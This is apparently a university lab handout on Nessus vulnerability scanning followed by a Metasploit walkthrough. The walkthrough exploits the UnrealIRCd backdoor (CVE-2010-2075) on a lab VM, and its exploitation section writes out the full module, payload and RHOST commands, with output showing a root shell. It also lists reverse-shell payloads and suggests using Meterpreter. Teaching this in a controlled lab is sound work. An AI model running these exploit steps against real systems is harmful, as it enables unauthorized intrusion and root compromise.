Nessus is a vulnerability scanning tool. It can be used to detect thousands of well-known potential vulnerabilities on a remote host. Nessus is commonly used by network administrators who want to keep their domains secured against these common vulnerabilities that malicious hackers and viruses often look to exploit.
Similarly to nmap, Nessus performs a port scan on the target machine. However, whereas nmap only tells you what's listening, Nessus can tell you what's vulnerable. One way it can accomplish this is by performing various checks to determine which services are running on the remote host (e.g., Apache), what their version numbers are (e.g., 2.2.2), and then checking against a database of known vulnerabilities that are present in those versions of the services (e.g., mod_rewrite off-by-one error, CVE-2006-3747).
However, the rules used to detect vulnerabilities are highly flexible. These rules are contained within Nessus plugins, which are written in a language called NASL (Nessus Attack Scripting Language). Typically, each vulnerability that Nessus is capable of detecting is expressed as a plugin. Currently, there are about 40,000 plugins that are shipped with Nessus, and dozens more are added every week as new vulnerabilities are discovered.
In general, Nessus does not actually perform any exploits - it only detects vulnerabilities. Neither does Nessus prevent attacks or make any attempts to correct the vulnerabilities - it is still up to the network administrator to patch these vulnerabilities based on the guidance that Nessus provides.
Nessus can be used in conjunction with Metasploit, which is what we will be doing in this lab. We will first scan a machine to discover its vulnerabilities, and then use Metasploit to attempt to exploit these vulnerabilities. The machine that we will be scanning is at 10.13.143.128. We will assume that our objective is to obtain a shell on this server.
On UNIX, Nessus operates according to a client-server architecture. The Nessus client connects to the server, provides it with information, and the server actually runs the scan.
Nessus begins by running a port-scan (using nmap) on the target host to determine which ports are open. Once open ports are identified, Nessus runs a set of exploits on the open ports. Nessus assumes standard processes run on standard ports (i.e. http on port 80). The last step it performs is checking for and reporting vulnerabilities.
The Nessus server is installed on
hamsa. The client is a Flash application that you can access via the browser. To use the client, connect to https://hamsa.cs.northwestern.edu:8834. You may need to confirm a security exception since Nessus uses a self-signed certificate. After you confirm the security exception, you will be presented with a login screen. Log in with your hamsa username (NetID). The password is your seven-digit student ID.
In order to perform a scan, you need to have a scan policy. In Nessus, a "policy" refers to a set of options relevant to performing vulnerability scans, including but not limited to types of port scanners used, timeouts, various plugin options, reporting options, and credentials for SMB shares or databases on the hosts being scanned.
You will not need to create a scan policy for this lab as we have already performed a scan and prepared a report for you to browse; however, it is still important that you understand what the various options are, so follow along with the instructions in this section carefully. The scan policy dictates which vulnerabilities Nessus is able to detect, and it is easy to miss high severity vulnerabilities if you do not configure the scan policy correctly.
In order to create a new policy, click the "Policies" tab at the top of the interface and then click the New Policy button near the top right:
You will be taken to an interface for editing policy options. It defaults to the General tab, where you can set options such as the port range, type of port scanner (TCP, UDP, SYN, etc), among other fundamental options.
Notice the tabs along the left hand side: General, Credentials, Plugins, and Preferences. Also, pay attention to the drop down menu that appears near the top of the page when you click on Credentials or Preferences. The range of options is very extensive (if not overwhelming), and you are encouraged to dig around the menus to get a feel for how finely tuned a specific scan can be.
Two basic options that are worth highlighting is the Port Scan Range which limits which ports you target. This can save large amounts of time if you know which particular services you are looking for vulnerabilities in. If you set this option, it will apply to both TCP and UDP scans. The other is the "Safe Checks" option, in Advanced Settings, which is ticked by default. This ensures that Nessus will not attempt any tests that are detrimental to the scanned machine -- something you certainly want to leave checked when scanning a live production server, for example.
In order to detect the relevant vulnerabilities for this lab, you would need to select the following options on the "Preferences" page:
- Under "Global variable settings", select "Enable CGI scanning" as well as "Thorough tests".
- Under "Web Application Tests Settings", check all of the checkboxes.
Elsewhere, the default settings will suffice for this lab. If you are unsure about any of the settings on the General page, mouse over the name of the option and a tooltip will appear for most items.
There is a wide variety of other options available when creating a scan policy. A lot of options deal with credentials that you can supply to Nessus in order to get more complete and accurate scan results. This is useful, for example, when you want to scan for potential vulnerabilities on a system that an authenticated user can exploit. If you want to get a better understanding of what Nessus is capable of, we encourage you to read through the Nessus User Guide.
Running the Scan
You will not need to actually run the scan for this lab. Running the scan takes a while and generates a large amount of network traffic, so we have prepared a finished scan report that you can browse. However, if you would like to perform a scan on your own, you will find that it's pretty straightforward. To run a scan, click on the "Scan Templates" tab at the top and then click on New Scan. Give this scan a name, select the scan policy that you configured earlier, and enter the address of the remote machine that you would like to scan.
Clicking on Run Scan starts the scan immediately. Once the scan is launched, the Scan Queue shows all the scans which are currently running. After selecting a scan, you can either pause, resume, or completely stop a scan. When a scan is complete, it is removed from scan queue and available for review on the "Results" tab.
Interpreting the Scan Results
To access the report that we have prepared for you, download it from here and save it locally on your machine. Then, in Nessus, go to the "Results" tab, click on "Upload", and choose the file that you just saved.
On the "Results" tab, you should see a list of all the scans that are running or have completed. To view the results, select a report (use the "netsec-2" report for this lab) and click on "Browse". Spend some time browsing through the report to see what sort of information Nessus was able to determine.
Now that we have identified some potential vulnerabilities on the machine, let's see if we can proceed to exploit them. With over a dozen "high" and "critical" severity results to choose from, how shall we go about this?
First, it is worth noting that not all of these results are particularly useful to us, regardless of severity, depending on what our objective is.
Again, note the advantage of Nessus over a simple port scanner like nmap: whereas a port scanner could only tell you which ports were open, Nessus runs a battery of tests to determine what software packages are running on the server, and in many cases, even their version numbers and configuration options.
But, notice there is a critical level vulnerability. These are usually always related to remote code execution and are easy to obtain a shell with:
Unreal IRC Daemon Backdoor Detection
This looks promising. Let's try to exploit this vulnerability in Metasploit.
Performing the Exploit
To begin, note the CVE number in the Nessus scan result: CVE-2010-2075. CVE (Common Vulnerabilities and Exposures) is a large database of publicly-known security vulnerabilities, each uniquely distinguished by a "CVE Identifier" such as CVE-2010-2075. There are varying amounts of information that could be obtained about each vulnerability if you search for it on the CVE website. As it happens, the CVE entry for the vulnerability that we found does not provide any additional information beyond what Nessus had told us; however, knowing this number will nevertheless prove helpful momentarily.
Next, connect to Metasploit using the command
msfpro (instead of
msfconsole). Run a search for the CVE number:
msf > search CVE:2010-2075 Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/unix/irc/unreal_ircd_3281_backdoor 2010-06-12 00:00:00 UTC excellent UnrealIRCD 184.108.40.206 Backdoor Command Execution
If CVE search doesn't work, you could alternatively search for "ircd". Or you can just google " CVE:xxx metasploit"; there is a lot useful information online. In this case, it still returns the same exploit, but sometimes there may be more exploits for a given program than the one found by nessus. However, there is no guarantee that all of them would work with the particular version of the software that is running on the server. If you also consider the various configuration settings that may be present or absent that are required for these exploits to work, it becomes clear why it is better in most cases to search for the specific CVE number that Nessus reported instead of just the name of the service.
You can use the info command to obtain some more information about the exploit:
msf > info exploit/unix/irc/unreal_ircd_3281_backdoor Name: UnrealIRCD 220.127.116.11 Backdoor Command Execution Module: exploit/unix/irc/unreal_ircd_3281_backdoor Platform: Unix Privileged: No License: Metasploit Framework License (BSD) Rank: Excellent Provided by: hdm
Available targets: Id Name -- ---- 0 Automatic Target Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 6667 yes The target port Payload information: Space: 1024 Description: This module exploits a malicious backdoor that was added to the Unreal IRCD 18.104.22.168 download archive. This backdoor was present in the Unreal22.214.171.124.tar.gz archive between November 2009 and June 12th 2010. References: http://cvedetails.com/cve/2010-2075/ http://www.osvdb.org/65445 http://www.unrealircd.com/txt/unrealsecadvisory.20100612.txt
Let's attempt this exploit on the vulnerable VM. Start by telling Metasploit to use this exploit:
msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
Let's see what payloads are available with this exploit:
msf exploit(unreal_ircd_3281_backdoor) > show payloads Compatible Payloads =================== Name Disclosure Date Rank Description ---- --------------- ---- ----------- cmd/unix/bind_perl normal Unix Command Shell, Bind TCP (via Perl) cmd/unix/bind_perl_ipv6 normal Unix Command Shell, Bind TCP (via perl) IPv6 cmd/unix/bind_ruby normal Unix Command Shell, Bind TCP (via Ruby) cmd/unix/bind_ruby_ipv6 normal Unix Command Shell, Bind TCP (via Ruby) IPv6 cmd/unix/generic normal Unix Command, Generic Command Execution cmd/unix/reverse normal Unix Command Shell, Double reverse TCP (telnet) cmd/unix/reverse_perl normal Unix Command Shell, Reverse TCP (via Perl) cmd/unix/reverse_perl_ssl normal Unix Command Shell, Reverse TCP SSL (via perl) cmd/unix/reverse_ruby normal Unix Command Shell, Reverse TCP (via Ruby) cmd/unix/reverse_ruby_ssl normal Unix Command Shell, Reverse TCP SSL (via Ruby) cmd/unix/reverse_ssl_double_telnet normal Unix Command Shell, Double Reverse TCP SSL (telnet)
There are a number of ways we could obtain a shell. For simplicity, let's pick
msf exploit(unreal_ircd_3281_backdoor) > set PAYLOAD cmd/unix/bind_ruby payload => cmd/unix/bind_ruby
Now, what other options are there? To see what else is required for this exploit, use the command
msf > show options Module options (exploit/unix/irc/unreal_ircd_3281_backdoor): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 6667 yes The target port Payload options (cmd/unix/bind_ruby): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Automatic Target
We see that we need to set
RHOST We can leave
RPORT at its current setting of 6667.
Now, set LPORT to tell it which port to bind the shell to on our machines. Remember to change LPORT so that you aren't using the same ports as other students on the netsec machines. Now, we are ready to exploit
msf exploit(unreal_ircd_3281_backdoor)> set RHOST 10.13.143.128 RHOST =>10.13.143.128
msf exploit(unreal_ircd_3281_backdoor) > exploit [*] Started bind handler [*] Connected to 10.13.143.128:6667... :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname... :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead [*] Sending backdoor command... [*] Command shell session 2 opened (10.13.143.1:52768 -> 10.13.143.128:4444) at 2014-05-27 18:55:35 -0500 whoami root ls Donation LICENSE aliases badwords.channel.conf badwords.message.conf badwords.quit.conf curl-ca-bundle.crt dccallow.conf doc help.conf ircd.log ircd.pid ircd.tune modules networks spamfilter.conf tmp unreal unrealircd.conf exit
Browse through the Nessus scan results and see if you can find another way to obtain root access on the server. There are a few vulnerabilities, so you may be able to get a shell in more than one way. Generally, when you obtain a remote shell on a server, you will be logged in with an unprivileged account. In this lab, the critical vulnerabilitie allowed you to get access as
root (you can find this out by running the command
whoami). You will find there isn't much you can do with this account (try deleting or modifying
/var/www/index.html, for example). For this exercise, try to get a root shell. If you can get www-data access, that's half credit.
If the vsftpd exploit is not working and you want to use it, or you need to use msfpro, email Andrew.
Meterpreter Shell: Many exploits have the Meterpreter shell available as one of the options for the payload. Meterpreter is a fairly sophisticated post-exploitation framework that facilitates many tasks that are performed after successfully exploiting a remote host, including interacting with processes, uploading files, and interacting with the file system and the network. Meterpreter also has other important advantages for an attacker, including stealth (unlike a regular shell, Meterpreter does not spawn a new process; it also has the capability to encrypt its communication), extensibility, and familiarity (Meterpreter supports the same command set regardless of the operating system on the target machine). As an exercise, try switching the payload to a Meterpreter shell and play around with it. Use the
help command to see which commands are available. For a more detailed overview of Meterpreter and its capabilities, take a look at the white paper PDF.